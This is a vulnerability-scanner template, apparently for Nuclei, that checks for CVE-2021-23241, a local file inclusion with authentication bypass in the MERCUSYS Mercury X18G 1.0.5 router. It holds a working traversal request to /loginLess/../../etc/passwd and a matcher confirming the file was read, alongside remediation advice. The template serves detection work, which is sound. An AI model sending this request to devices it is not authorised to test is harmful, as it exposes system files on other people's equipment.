id: CVE-2021-23241 info: name: MERCUSYS Mercury X18G 1.0.5 Router - Local File Inclusion author: daffainfo severity: medium description: MERCUSYS Mercury X18G 1.0.5 devices are vulnerable to local file inclusion via ../ in conjunction with a loginLess or login.htm URI (for authentication bypass) to the web server, as demonstrated by the /loginLess/../../etc/passwd URI. remediation: | Apply the latest firmware update provided by the vendor to fix the LFI vulnerability and ensure proper input validation is implemented. reference: - https://github.com/BATTZION/MY_REQUEST/blob/master/Mercury%20Router%20Web%20Server%20Directory%20Traversal.md - https://www.mercusys.com/en/ - https://www.mercurycom.com.cn/product-521-1.html - https://nvd.nist.gov/vuln/detail/CVE-2021-23241 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2021-23241 cwe-id: CWE-22 epss-score: 0.00365 epss-percentile: 0.69381 cpe: cpe:2.3:o:mercusys:mercury_x18g_firmware:1.0.5:*:*:*:*:*:*:* metadata: max-request: 1 vendor: mercusys product: mercury_x18g_firmware tags: cve,cve2021,iot,lfi,router http: - method: GET path: - "{{BaseURL}}/loginLess/../../etc/passwd" matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 490a004630440220771ca214be08adb65e3e8d5cb89872180b442cb6bf42737f60f0f772e80c081902206e5d4ae2fede10e167dbad540bf87bfa7e8e1772d4bfa1a2d9ad47b45b817c3c:922c64590222798bb761d5b6d8e72950